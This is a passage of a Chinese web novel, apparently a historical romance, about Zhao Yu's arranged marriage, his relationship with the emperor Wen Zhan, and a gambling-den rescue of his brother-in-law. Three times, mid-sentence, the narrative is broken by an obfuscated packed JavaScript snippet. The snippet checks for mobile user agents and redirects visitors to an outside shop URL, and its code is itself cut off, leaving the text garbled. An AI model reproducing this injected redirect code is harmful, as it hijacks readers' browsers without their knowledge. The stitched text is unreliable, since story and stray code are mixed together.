御下不严是错,滥杀无辜是罪,但他不是主谋,最多就是被撤职,赋闲回家,休养生息,等边境战事一起,他照样可以起复,手握百万兵马,又是一方诸侯。 可是,如果让女儿嫁给我这样一个人,大郑礼法森严,绮罗堂堂藩镇之女也就没有任何出头之日了。” 这里的酒是兑了水的蜜酒,依然热辣,却被暮春夜风裹着尽显冷意。 赵毓,“这段姻缘,是先祖父订下来的。” “我家祖上也算是四世三公,那些祖宗们做了几百年的官,我祖父是当年的甘宁总督,一直镇守西北,他同尹明扬的父亲是好友,当时两个人想要结成儿女亲家,谁想到生下的孩子都是儿子,于是我父亲同尹明扬就成了好友。结果,我祖父被诬陷通敌叛|国,满门抄斩,不知道怎么,就活了我父亲一个人。后来,尹明扬也科举出仕,他见到我父亲,两个人在没有孩子的时候就决定又做儿女亲家。后来,我一出生父亲就被凌迟,当时尹明扬得到的消息是我也死了,于是就让他闺女绮罗一出生就做了望门寡。礼教森严,女子生而有罪,这些女孩儿的苦难是我们原先根本想不到的。” “本来尹明扬想着用女儿攀附亲王,没想到我是个西贝货,只是在我恢复本来身份之后,他这才发现,我竟然就是他闺女早已经下定的夫婿。他说,这是缘定三生,话本也不敢这么写。他执意要继续婚约,对逝去的好友有个交代。他对外只说我是他故友之子,与他女儿早有婚约,早先流离失所,现在找了我,就成全了这桩婚事。没有人知道我的过去。 说实话,我岳父走的不会很歪就是这一点,再算计,再冷酷,但是他骨子中还是有情有义,虽然这个情义说到底也是牺牲了女儿的前途。” 文湛,“你还是娶了她。” 赵毓,“那又怎么样?当时年少,人总有豁不出去的东西,我娘孤苦一生,我爹更是凄惨,被万仞凌迟最后血肉都成了灰,就算为了他们,我也应该做一些什么。” 说道这里,赵毓的眼睑垂了一下,带着一种不自觉的哀伤。 “那天下暴雨,我在我娘寿春宫前面跪了三个时辰,她还是不见我。我娘不是针对你,换第二男人她还是这样。我为了你把她也豁出去了,我只是一个普通人,只有一颗心,我没有本事为了第二个人这样做了。” 暮春的风送来了山川河流青草野花的气息。 赵毓看着酒菜满桌,他胃口一向不好,晚上也吃不进这些东西,就大声叫了老板娘结账,谁想到老板娘过来就摆手,“不用给钱了,有人帮你们把账都结了。” 赵毓纳闷,谁这么有眼力见? 他抬眼,看见那边走过来一位穿着雍京崔氏绸缎庄从湖州进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728876|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的丝质衣袍,年纪不大,肯定不到弱冠的小公子。 “哥哥,您在这儿呢!上次在雍王别苑让我出了那么大的丑,我不但不怪您,今儿还请您吃饭,您说,您怎么谢我?” 来的人就是随侯次子,石恺。 上次在雍王别苑他不过就是戏耍了一个赶上来巴结的东西,结果让眼前这个人用了那种手段把自己弄的差点身败名裂。只是,那种感觉实在诡异复杂,说恨那个人,结果当时的感觉又让他有些食髓知味,说不恨,当时那种情况,如果让外人知道,他在雍京城根本就没有任何立足之地了。 他被这种复杂又说不出口的想法折磨的多少时日都坐立不安。 石恺派人打听了,众人只说那个人其实是个白丁,也是被人带进来混饭吃的,后来,他又听说,那个人是已致仕宣大总督尹明扬的女婿,尹徵的姐夫。他让人盯尹徵很久,终于得到消息,这个人又进了雍京。他这才让人钻山打洞一般的找,终于,在城南这个小酒馆找到了他。 石恺看了看赵毓身边的文湛,一身长衫,看着像翰林院的人,那种穷苦地方出来的人都穷酸,看看他们满桌子的吃食,也是穷酸的很。 只是,…… 那天在雍王别苑的时候不觉得这个人好看,那个时候,他记得赵毓脸色苍白,眼睛下面都是青黑,好像几天没睡觉的病痨鬼。 现在,…… 柳树上挂着灯笼,柔和光芒下,显得这人的脸柔美到不可思议的地步。 他左眼角有一颗红色的泪痣。 赵毓看着他,“哦,你呀。” 石恺说着,凑过来,“哎呦,哥哥还记得我?” 赵毓,“别乱叫,我爹娘就生了我一个,家里没什么弟弟妹妹的,我没那个本事做你哥。还有,我要是早成亲几年,估计我闺女你都得称呼大姐,所以以后见面你得叫我叔,要是我比你爹还大,估计你还得改口称呼我一声伯父。” “叫什么还不都一样。” 石恺还想凑一下,结果看着旁边坐着的文湛看着他,那眼神钩子一样,像是可以把他这个人都钩碎了。 “哥哥这是会朋友呢,这位,是翰林院的?” 赵毓懒得和他贫嘴,“你有什么事儿?” “哥哥不想知道,我怎么找到这里来的?” 赵毓看了他一眼,起身要走,石恺连忙拦住,“我说,我说还不成?这是那个纪载告诉我的。纪载,你记得吧,就是上次在雍王别苑被你救了的那个跳湖的倒霉蛋?哥哥,我说你识人不明吧,奋力救了个人,结果还挺不是东西的。前脚装可怜,翻过来就卖人,你听着是不是很伤心呀?” 赵毓,“我这人面慈心软,救人,只是不想有人在我面前死。至于他是不是领我的情,那跟我没关系。你也一样,我折腾你只是不想看你在我面前欺负我小舅子,至于你咽下还是咽不下这口气,我也不管。你要是有什么门道,那就摆明车马,咱们扯一扯。” 石恺,“你知不知道我是谁?” 赵毓这次笑了,“怎么,你脑子被撞了,不记得自己亲爹是谁,跑过来问我?” 石恺也跟着笑,“哥哥说话真逗,听着就跟别人不一样。哥哥别恼,其实我这次来,是有事要求哥哥帮忙。我老爷子进了一批扬州瘦马,想请哥哥调|教|调|教。” 赵毓乐不可支,“我又不是马夫,不会养马。你爹买马买瘦了,多喂几顿夜草,喂肥了不就成了扬州胖马了吗?还用费事请人调|教?行了,你要是没事就回去睡觉,我们大人们都很忙,没空跟你这个小屁孩乱搅。” 他起身,拉着文湛要走。 结果石恺也不拦着,就是说了一句,“这是送给雍王的瘦马。” 赵毓站了一下。 石恺,“雍王想必哥哥你也知道,当今圣上唯一的弟弟,在京的亲王,要是能同他说的上话,那可是千载难逢的好机缘。” 19. 19 19 赵毓将文湛拉到马匹前面,文湛手指拉住缰绳,随即甩开,他下意识就用手势召唤暗卫去处置那个石恺。 赵毓扯住他,“不要这样做,因为这种事暗中处置人太失身份。” “那我亲手处置他。”说着文湛就要抽自己腰间的细剑。 大郑皇子自幼习武,文湛幼年师从名家修习剑术,虽然不能与夺人性命的刺客相比,但是处置一个侯府次子和他的随从绰绰有余。 “这样做除了失身份,还失法度。”赵毓阻拦,“这个人的事我能应付,说实话,他都没有凑到你面前去的资格,你只当没见过他好了。说出大天来,这个石恺就是一个屁事不懂的毛孩子,等以后长大了,当真闯了大祸,自有人处置。走吧,再不回去,黄瓜就该关门落闩睡觉了。” 赵毓回到家中,已经是亥时。 黄枞菖烧了热水,让他们洗沐。 “祖宗,这伤看着是好多了,就是怪吓人的。”赵毓卧室中,黄枞菖给他擦头发,撩起来头发就看见他后背上那条狰狞的新疤和布满后背的鞭痕,“这盒子是我从禁宫顺出来的红玉生肌膏,没事的时候多抹抹,把这疤痕去了,省的以后裂开麻烦。” 文湛从外面进屋,就看见黄枞菖在给赵毓的后背涂抹药膏。 黄枞菖之前是赵毓的奴婢,从小跟着他长大,赵毓的吃喝拉撒睡都是他近身伺候,本来也没有什么,只是,…… “药膏给我,你也回去睡吧。明天也不用起早,掌灯之前回微音殿就好。” 黄枞菖一听,连忙交出药膏,跪了一下,说,“主子在这里,奴婢就先下去了。奴婢就在靠院门边的小屋睡,有什么事,主子说一声就好。”说完,退出屋子,还关上了两层屋门。 文湛问赵毓,“这伤,是下不去了吗?” “完全好应该不太可能,不过日子久了,估计这个狰狞劲能退了。我虽然皮薄,但其实恢复的还可以。” 赵毓皮肤又薄又透,鼻梁上总是有几根纤细青蓝色的血管。 平时在一起,文湛知道,要是他手上用力没准头,第二天起来赵毓身上都是青一块紫一块的。 “这些旧鞭伤也好不了吗?” “好不了就好不了吧,也没啥大不了的,……” 赵毓忽然感觉左肩上炽热酥麻,接着自己一下就被揽上了床榻。 三更半夜。 外面街上打更的声音隔着几条街传过来,徒增了一些庭院幽深的静寂。 文湛亲吻着赵毓的额头,上面是薄薄的汗,他的眼睛紧闭,近在咫尺的睫毛却在微微颤抖。 “睡了?” “这个时候,……怎么可能,……睡……” 声音和呼吸都是甜腻腻的。 …… 赵毓醒过来的时候,文湛还在睡。 他轻手轻脚下了床榻,穿了一件湖丝水衣,到外屋拿了黄枞菖放在这里的一壶茶,又拎着一个瓷罐子里面装着瓜子,就到外面的园子桂花树下坐着嗑瓜子去了。 不知怎么了,他就想起来很多很多年前,先帝曾经向他托孤。 ——“论天资,越筝不逊于文湛,论性情,他有一份文湛所没有的宽厚,如果来日他荣登大宝,你和羽澜都会好好的活着。 朕与文湛是一样的人,一旦权柄受制,定然六亲不认!” 结果。 先帝驾崩,皇图霸业,六宫粉黛尽数成空。 帝位还是文湛的。 先皇三子羽澜被先帝下旨赐死。 越筝成为元熙朝有着烈火烹油、鲜花着锦之势的雍王。 也许,坐上帝位的诸代大郑皇子们,天生就带着弑亲夺位的凶性。 文湛醒过来的时候发现身边没人,他起身穿好衣服,又拿过赵毓放在一旁的外衫出去,一推开门就看见坐在桂花树下的赵毓。 黎明已至,天色清爽,像是被水洗过一般。 他把衣服给他披上。 “心事这么重?”文湛坐赵毓对面,自己给自己倒了杯茶,已经凉透了,他喝了一口才说,“别担心,仅凭石恺父亲随侯那几个扬州瘦马是套不住雍王的,雍王虽然年轻,但却有自己的修为。” “还不如被套住呢。”赵毓却说,“他被几个小姑娘套住有啥不好?越筝要是整日在自己的王府中征歌逐酒,醉生梦死,那也是一种修为。” 文湛只是喝茶,什么都不再说了。 晌午的时候,赵毓本来想要出去酒楼要个食盒,结果楚相府送过来两个食盒,看样子够四个人吃的量。这次不是那种吃了能成仙的小菜,而是正经的官僚士大夫菜,这些同宫廷那些御膳又不是一个流派。 用料并不是什么龙肝凤胆,飞禽走兽,鲍参翅肚,都是普通食材,但是意义却很好,看上去很吉祥。 一品锅,一品豆腐,一品虾球,还有一品白菜烧栗子,主食是团圆福寿面。 “还是他们读书人会吃。”赵毓是真饿了,就着汤面捞了几筷子肉圆和鸡块,文湛见他吃的香甜又给他夹了些火腿。 “这个空空院是我量出来的,原本想着离我小舅子、宁淮侯府和你的大本堂都近,没想到楚蔷生也搬到这里来了,挺好。以后没空做饭可以到他们那里混饭吃去了。” 有文湛在,黄枞菖吃饭不上桌,他捧着个饭碗在旁边,听见赵毓这样说,他偷偷看了看文湛的脸,发现一切如常。 “黄瓜,楚蔷生在内阁能吃吗?” “哪儿能呢!楚相出了名的惜福养身,每次吃饭从来都是七分饱,再来一口茶。他在内阁的时候吃的清淡,不过感觉和今天的菜式差不多。时令的新鲜瓜果菜蔬,再来一碗面或者粳米饭。” “他们读书人就是穷讲究。” 吃完饭,黄枞菖继续打扫和收拾院子,直到他认为这里还不错,可以凑合着住人了,这才罢手,赵毓低头看了看光可照人的地面,抬头看看天色,“不早了,你们赶紧回去吧。” 黄枞菖乘着文湛到空旷的书房换衣服,他把自己放在布包中的一个木盒子拿出来,扯着赵毓回里屋。 “什么好东西这么神神秘秘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728877|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 黄枞菖把木盒子放在赵毓床前的桌子上,打开,里面是各色龙泉瓷青花还有彩绘的瓶瓶罐罐。 “这是禁宫的秘药。”黄枞菖一瓶一瓶拿出来,每瓶旁边还贴着红色的小纸签,“老祖宗留下的老方子,几辈子人都用,特好。这几年后宫清净,没人用,很多药膏也都废了。我想着主子以后常住这儿,夜里肯定用的上,就让太医局的孙医正找着老方子配的。尤其是这瓶,您闻闻,这是雪莲熬的,要是有伤就好的特别快。” 赵毓果然闻了闻,“清冽冽的,不错。这些是好东西,我留着。我说,你去孙医正那里弄这些东西的时候,他没斜着眼睛看你?” “他哪里是斜着眼睛看我,他是用鼻孔看我。”黄枞菖,“不过我也会说话。我说,这些是徽郡王用的。” 赵毓一听,笑的鼻涕都出来了,“徽郡王?他老人家快九十了吧,还活着呢?” “今年八十四。我和他老人家有些渊源,所以我这么说,孙医正就信,然后,又给我配了一副这个药。”黄枞菖拿出一个诡秘的小黑木盒子,上面还有红色的密纹,“据说,吃了这个药丸,八十多的都能娶十五、六的小闺女。咦,造孽。”说着,他好像是扔烫手山药一般,扔给了赵毓。 “都给了我,你自己不留点?” “我?我用不着。” “皇上为人方正,不让?” “主子不管这些事,他还说过,饮食男女,人之大|欲,这种事连圣人都不禁。只是,前些年他一个人熬的跟和尚似的,咱们禁宫做奴婢的,总不好做出格。” 也不知道赵毓在想什么,过了一会儿才说,“我以为你会碰到让你欢喜的人。” “别说,欢喜我的人还真有,我眼界高,一个都瞧不上!”黄枞菖说着还挺着脖子,不会立马,就低下头,“他们都说我们刑余之人性子古怪,半男不女的。说句实话,除了像祖宗您这样和我从小长大的,那些读书人看我们就跟看玩意儿一样,当年我要是不进宫,我全家就能饿死,可那些大人们不一样,人家清贵,此一生,子孙都不会成我们这样。” 说这话,黄枞菖居然还真有点红眼圈,赵毓拿着袖子给他擦。 “别哭,黄瓜,你长的真挺好的,就是不能哭。别人哭是梨花带雨,你哭是泥沙俱下,吓人。” 此时,文湛进来,黄枞菖跪了一下,连忙跑了。 “我让他们收拾一下大本堂,那里原本就是我读书的地方,不在禁宫,但是东西都齐全,过去住几天?” “嗯。” “真愿意去?” “嗯。” 文湛看着桌面上这些瓶瓶罐罐,“这些是什么?” “刚才黄瓜拿过来的。你,……,没见过?” “没有。”文湛也有些好奇,拿过来其中一个小瓶子,看着上面还黏着一张小纸,就翻过来仔细看,只扫过一眼,他就把瓶子用力墩回桌面上。皇帝咳嗽了一下,像是想要掩盖什么情绪。 赵毓忽然在旁边笑,“我就说你方正,耳朵都红了。” 20. 20 20 赵毓这几天日子过的清闲,就是身边没人。 赵格非让人回来告诉赵毓,说空空园这里什么书都没有,她要留在尹府看书,最近就先不回家住。赵毓让她把想要看的书列个书单,他去买,等布置好书房就让她回来住,别总跟尹桂宝儿那个不学无术的纨绔混在一起,省的把她好不容易培养起来的清贵气质都消磨掉了。 赵格非把赵毓写的条子给尹桂宝儿看,他看着写一笔歪歪扭扭的字有些不服气。 “我再怎么不学无术,也比我姐夫这笔像爪子一样的字强吧。” 正说着,晌午的时候过来一伙朋友,他们就在花厅开席,吃吃喝喝。 赵格非肯定不能与他们凑在一起,她自己在后院吃了饭倚着贵妃榻打个盹,想着醒来继续看书。 “尹大少,咱们在这里吃没劲。”其中一个凑到尹桂宝儿耳边,“咱们去四大皆空坊,那里有全鱼宴。” “可是,我姐夫不让出去。” “令姐夫威压甚重,可终究不是令尊大人。再说,咱们又不是晚上出去胡闹,就是趁着中午出去吃点新鲜的玩意儿,不出格,走吧。” 尹桂宝儿让人说的也是心猿意马,想来想去,还是带着人悄悄从后门溜走。 雍京这边的尹府正经就他一个主子,剩下的都是下人,管家就算想要管,也硬拦不住。他见尹桂宝儿出门,连忙到后院让丫鬟叫醒赵格非,可赵格非是个女孩子,还是外姓,又是他的晚辈,说话也不是那么好用。于是,她就对管家说,“找个人去兰叶巷找我爹吧。” 尹府的小厮到了兰叶巷,发现大门紧闭,敲了几下,也没有人过来,他想是姑爷出门了,就坐在石头台阶上等。 此时,赵毓在永嘉会馆吃酒,崔珩也在,有朋自远方来,那个人是永嘉的周熙,他们多年未见,中午就都多喝了几杯。等酒醒之后,赵毓慢慢悠悠的骑马回家,发现门口等着尹府的小厮要睡着了。 那个小厮听见声音,看见他回来,好像三岁没娘的孤儿见到了亲爹。 “姑爷,救命!大少爷,大少爷他,……” 赵毓一惊,“怎么,尹桂宝儿让女妖怪抓走,炖了下酒?” “不是,大少爷背着您出门吃饭去了。” “嗨!”赵毓听着直摇头,“我只是说让他最近在家多待待,没事看看书,我可没有说不让他出门。” “姑爷,管家爷爷让我务必请您过府一趟。我都等了您这一百天了,咱们赶紧回去把,管家爷爷都快急出白头发了。” “他不着急,他头发也是白的了。那位老人家今年六十八了吧。” 赵毓说完,把马牵进院子,跟着那个小厮就去尹府。他一脚踏进尹府大门,管家差点倒履相迎。 “姑爷,您可来了。” 赵毓仔细看,发现这位老人家比前几天见,白发还真多了几根。 “大少爷,还没回来?” “出事儿了,大少爷让人给扣住了。” 赵毓也很是意外,“怎么?” 管家说,“中午大少爷只说去吃全鱼宴,结果,他被那帮人带去了一个叫什么四大皆空坊的地方,据说里面有赌|局,大少爷玩了几局,刚开始赢了许多银钱,他一时高兴就继续玩,随后就开始输,后来输的实在太多,人就让人扣了。” “输了多少?” “白银一千两!” 赵毓松了一口气,“哈,让人做局给套住了。看样子,人家还算手下留情。” “姑爷,这话怎么说?”管家痛心疾首,“这是白银一千两!当年老爷做兵部尚书的时候,俸禄银子一年才三百多两,这大少爷赌输的可是老爷三年的俸禄啊!” 赵毓乐了一下,“说的好像尹家就靠老爷那点银子开销似的。” “姑爷别这么说。”管家还是很担心,“姑爷怎么知道人家手下容情了?” 赵毓,“桂宝儿虽然自诩纨绔,其实就是个雏儿。老爷太太管的严,他就算出格,也玩不出什么花样。如果被人下了死手陷害入了局,可不是一千两这么点银子能兜得住的。我听说过,之前有个相府小公子让人设计套了两万两,平账之后差点被他亲爹亲手打死。行了,事情都发生了,也只能这样了。四大皆空坊是吧,你现在派人去永嘉会馆,去请江南十三行的周熙周老爷,让他来四大皆空坊,就说我请他有急事。” “好,我马上去。” “另外,给我一千两的银票。” “姑爷,我手里要是有这些钱,我就直接给了,不用麻烦您过来一趟了。” “好吧,那你去找周熙的时候,让他带上两千两银票。” “啊?”管家有些懵,“那位周老爷会不会把我的人打出来?” “你可以试试。反正你不去,咱家大少爷估计要被人砍断手指了。你去不去?” “去!我马上叫人去!” 赵格非一见她亲爹过来,眼角还是带着酒意,连忙让人绞了布巾过来,给他擦了擦脸。 “闺女,跟我一起去看看呗?” 管家在旁边一听不像话,“姑爷,咱们姑娘怎么能去那种地方?” “我这不是未雨绸缪,省的她以后被人套住。” “亲爹,我不去。我不是我舅,我没那么多纨绔子弟做朋友。” “也是。” 赵毓想想,自己这个姑娘就是闺秀脾气,自己给她准备的家底让她一生吃喝不愁,以后就算无法嫁入公卿世家,也不会沦落江湖,再加上她做人靠谱,应该不会被这些鬼蜮伎俩做局套住。 四大皆空坊就在北城。 赵毓到的时候,周熙也到了。 “周先生,真不意思,因为我内弟的事还让得您过来一趟。” “您这话真见外。”周熙是永嘉人,说话是吴音,到了雍京也会说官话,就是尾音带着那种吴侬软语的娇,虽然是巨商不是士子,却显得异常儒雅,“我们认识了这么多年,就算我不配做您朋友,我们也是熟人。您家人有事,我怎么也不能袖手旁观。” 赵毓,“好,那我不见外。我知道这个四大皆空坊您占大头,虽然不管事之分红利,可是您往这一坐就跟泰山一样,那些魑魅魍魉不敢折腾了。今天我就借着您这尊神镇镇他们。” 这里一个小院,初看小桥流水,走进曲径通幽,再向前是云深不知处,然后除却巫山不是云,接着则是何当共剪西窗烛,再来就是君问归期未有期,最后一块大匾上书——四大皆空。 赵毓同周熙一进院子就被请到里面的飞觞醉月。 不出意外,石恺在这里,旁边就是尹徵,他到没有受到虐待,他面前是好酒好菜,就是一脸凄风苦雨,弄的跟一条苦瓜一样。 赵毓对周熙一点头,这位直接坐下。石恺也不认识周熙,就感觉这个人长的清俊,完全看不出来是个什么来路。周熙等着旁边人给奉上茶水,开始低头喝茶。所有的做派都同雍京这些贵人们不一样,显得飘忽不定的,像是一阵薄雨,飘过就算飘过了。 赵毓皮笑肉不笑,“石小侯爷。” “难为哥哥还记得我。”石恺摇着一把扇子,从椅子上站起来,踱着步走过来,“我们只是打了两圈牌。尹小公子运气不好,折了点钱。” 赵毓冲着周熙一伸手,周熙给他拿了一张十三行的汇票,白银一千两整。赵毓将这张汇票直接拍在桌面上,那边尹徵看着眼睛珠子都要掉出来。 石恺也没有想到赵毓直接给钱。 “既然哥哥把钱都带来了,尹小公子当然能回家了。” 他手一挥,后面的人把尹徵放了。 尹桂宝儿直接扑过来,却被赵毓扭身躲开,随后,赵毓一把揪住尹桂宝儿的后脖领子,按在身边的木椅上。 此时,周熙又给了赵毓第二张银票,同样,还是白银一千两。 赵毓拿着这张银票对门口站着的四大皆空这里的侍从说,“换筹。” “是。” 他们四大皆空坊开门就是做生意的,不管目前情况多混乱,生意上门不能向外推。那个侍从连忙接过赵毓手中的银票,换了一千两白银的筹码。 赵毓将这些向石恺一推,“小侯爷,咱们玩几圈?” 石恺,“哥哥你想玩什么?” 赵毓,“骰子牌九叶子麻将,随便。” 石恺笑,“哥哥口气不小。看哥哥这个斯文的样子,估计别的也不会,咱们就用骰子赌大小。一二三小,四五六大,怎么样?” “好。” 赵毓坐在木桌的这一边,石恺却不坐,他动了一下手指,手下一个人坐在赵毓的对面。 尹桂宝儿在旁边看着只抽气,他根本没有见过这个阵仗。 他想要拉赵毓的袖子,被赵毓看了一眼,这条苦瓜立刻就蔫了。 其实,赵毓也没想到石恺这种糊不上墙的烂泥和自己打对手,他知道这种公卿世家的纨绔们,手底下的狗一窝一窝的,哪个拎出来都不白给。眼前这个人就是,他一定是石恺的牌手。 其实,赌骰子很简单,这也不需要算计什么,也不是运气的问题,而是千术。 低级千术就是骰子中灌铁块,一扔,得到的结果肯定是固定的那个数。高一级的千术就是骰子中灌水银,水银流动,熟练的抽老千的人可以控制水银的晃动,从而摇中自己想要的数。 只是,今天,现在,想要抽老千的人要失望了。石恺的人手中一过骰子就知道了一件事情,——骰子给人换过了。现在他们手中的一切赌具全部是没有任何千术的干净的赌具。 周熙忽然明白,原来赵毓让他过来的目的就是,——去除千术。 他坐在这里,四大皆空坊的人就不会再偏帮随侯次子石恺,所有的赌|具都是干净的,这样,可以尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵毓还是那个淡淡笑着的样子,他手中的茶碗一直不间断的满着浓茶。 周熙没有想到会看到这样的赌|局。 没有什么精妙的技法,也没有什么动人心魄的技巧,所有的一切让人振奋的东西都在漫长时间的拉锯战中被磨成了齑粉。 他自己曾经自负算尽天下之财。 可是如今,他仅仅是安稳坐在这里,都需要强撑了,更不要说算牌,他的眼睛倒是能看到那些牌面,只是脑子好像被泥土糊住的车轴,根本无法转动。 只有赵毓。 还是坐在那边,一丝不苟,就好像赌|局开始之前的样子。 赵毓手边的筹码已经堆出来,他是赢家,所以不能终止赌|局。 终于,第四个人上场,依然是打牌。 没有任何意外,也没有任何惊喜,一场一场的算计,这个人支撑了最后的三个时辰,输光了所有的筹码。 赵毓笑着问石恺,“还有人吗?” 石恺本人此时已经是糠了的萝卜,蔫了的茄子,落水的鸭子,狼狈比一条丧家之犬还不如。 “我认输。多少钱,我赔给你。” 石恺感觉自己这次输惨了。 赵毓请四大皆空坊的随从清点了一下筹码,一共可以换成白银两千两。 刚好。 从周熙那里拿了两千两,又还回去两千两;他刚才给了石恺一千两,又从他那里拿回来一千两。 一切如同之前一样。 好像乱局被彻底修复了。 没有发生什么变故,也没有损伤。 石恺这才知道,赵毓根本没有对他下任何死手。也许在那个人眼中,自己就如同草芥一样,随便一个风一吹就飘走了,几乎不存在一般。 赵毓拖着尹徵出门。 此时,已经距离他们进入四大皆空坊过去了整整十二个时辰。 赵毓谢过周熙,归还了人家银票,周熙与他道别,回永嘉会馆。 此后,他才拖着尹徵回家。 一进门,管家和众人已经强睁着眼睛等了一天,所有人的眼睛红的像柿子饼。 赵毓对急的显得有些憔悴的赵格非说,“在这里好好看着你舅,我得回去睡觉去。什么事,等我睡醒之后再说。” 说完,就把尹徵向管家手中一扔。 “大少爷不是喜欢赌吗?给他找十个土豆,其中一个土豆上雕刻上’出门’两个字,以后凡是他想要出门就让他摸土豆抓阄,只要抓到那个写着’出门’的土豆就让他走。否则,就让他在家里老老实实的窝着!” 21. 21 21 赵毓回家的时候发现院子里面多了一个门房,还有一个做饭的老妈子。 “表少爷,我们是宁淮侯府的人。侯爷见您一人收拾一个新宅子有些吃力,就让我们过来帮几天忙。” “哦,那你们忙。” 赵毓进屋,发现崔珩已经在他的屋子里面等他了。 “我听周熙说了,你可真是吃饱了撑的没事做。”崔珩坐在他卧房的外间,“那个姓石的是个什么鸟人,直接做了多省心?” 赵毓,“他一个半大的孩子,仗着自己老子在雍京城还算有些脸面,不懂事胡乱来,目前看还没有什么大罪过,等以后真要是闯了大祸,到时候自有老天收。”说着,自己把外衣脱了,到里屋掀了被子直接躺进去。随后,他又说,“咱们这些人这一辈子一个一个的都不得好下场,都是早些年作孽的事造的太多,得饶人处且饶人吧。” 他伸了一个懒腰。 “实在太困,你走的时候帮我带上门。哦对了,我闺女想看一些书,你不是之前在国子监吗,列个书单,我去弄点书来布置书房,省的那丫头嫌弃我这里太文盲。” 崔珩一晒,“国子监?你闺女又不能考状元,看那些书做甚?我看不如就学一些什么诗词歌赋,琴棋书画,等以后嫁了人给她爷们儿解个闷就得了。” 赵毓从床上扭头,“你写不写?你不写我找楚蔷生写。人家正经的翰林学士,看的书更清贵。” “我写。”崔珩立刻点头。 黄昏,柳丛容走进赵毓的园子,发现这里多了两个人。有人打扫庭院,有人烧水做饭,立刻显出人间烟火气。 那两个人像是知道他是谁一样,见他进来也没有阻拦。 柳丛容到赵毓的房间,看见外间屋子亮着几十根牛油大蜡,宁淮侯崔珩坐在桌前正在写字,那种感觉,似乎一下子回到了十几年前,当时,崔珩还是内阁首辅政杜曤的高足,毓正宫最出色的学子。 他同赵毓是一对儿从小感情就好的表兄弟。 当年赵毓是皇长子亲王,而崔珩因为错过了春闱仅仅成为一名皇商,他们之间身份天差地别;而今天,崔珩已经是王侯,而赵毓则仅仅是草民,他们之间的身份似乎调换了,却依旧天差地别。 只是,他们的感情没有改变。 崔珩是个城府极深的男人,却带着野性。他像是冉庄外面庄稼地里永远也锄不干净的野草。他从心底厌恶一切压在他头上的东西和人,就像一只被困在权势、金钱和纵横交错复杂的朝局做的牢笼中的野兽,外表也许斯文,也许温顺,甚至也许脆弱,实际上却野性难驯。 崔珩听见有人进来,抬头,烛火照在他的脸上,显出珠光宝华。“柳掌印大驾光临,未曾远迎,赎罪赎罪。”崔珩嘴上说的极恭敬,却未见得是真诚惶诚恐。 柳丛容则说,“主子知道侯爷在这里就不过来了。他就让奴婢过来看看,王爷是否醒了。” “王爷?”崔珩浅笑,“王府已封,王爵已撤,雍京城早已经没有什么祈王了,柳公公以后不要在我表弟面前这么称呼他,我怕他伤心。” 这种事也不是柳丛容能置喙的。 他绕过这个话题,“侯爷在写什么?” 桌面上铺着雪浪纸,端正俊秀的蝇头小楷列出书名,柳丛容一看就知道这是国子监的书单。 “他的书房是空的,让我写几本书名,照着买来放一放,显得不那么空。” 此时,赵毓醒了。 他披了件长衫下床喝水。 人还是困,那个劲没缓过来。 “柳芽来了?”赵毓过了拿茶壶给自己倒了一盏水灌进去。 崔珩拿着纸问他,“你看看,这些书能用吗?” 赵毓扫了一眼,“嗯,还挺好,都是入门级的,我闺女看的明白。” 崔珩,“好,那我就让人去买了?” “嗯。” 赵毓点头,他抓了抓头发,又回屋继续睡觉去了。 只是,…… 柳丛容忽然按住雪浪纸的另外一端,“侯爷身系东海,军务繁杂,买书这样的小事还是奴婢来做吧。” 崔珩没有松手。 他们两个人就捏着这样一张雪浪纸,如同将要划江而治的逐鹿者。 柳丛容说,“侯爷又不是不明白主子的脾气。主子家法严苛,他不喜欢别人为王爷花钱。买书虽然花费不大,但是人毕竟分了亲疏远近,不能让侯爷破费。” 闻言,崔珩逐渐松了手指,柳丛容拿过那封雪浪纸。 大约睡了一天一夜,赵毓终于算是睡足了。 身边有人。 他睁开眼睛,文湛就坐在床边看书。 赵毓向床里面挪了挪,“上来歪一会儿?” “好。” 文湛脱了鞋子,躺靠的姿势,手中一本孟郊的《孟东野集》。 赵毓,“今天怎么这么好兴致,看起了诗词?” 文湛,“你不是说你的书房空吗?崔珩开列的那些书目,我让柳丛容置办好了。我的大本堂有一些闲书,钱起的《钱考工集》,皎然的《杼山集》,还有宋代叶梦得有《石林词》、沈瀛有《竹斋词》、周密有《草窗词》什么的,也给你拿过来。没事的时候,你愿意看就看看,不愿意就摆着。” 赵毓想着,只要有书就好,“哦。” 文湛翻了一页书,不在意的问了一句,“手头不方便吗,连一千两银子都拿不出来?我在你这里放些散碎银两?” 赵毓,“钱我倒是有,就是不想给那个家伙。” 文湛,“愿不愿意给是一回事,临时有事,银钱是否凑手是另外一回事。我不想你以后再有什么事,去问一个商人借钱。” “周熙?”赵毓笑着说,“他不一样,他是老崔的铁瓷。” 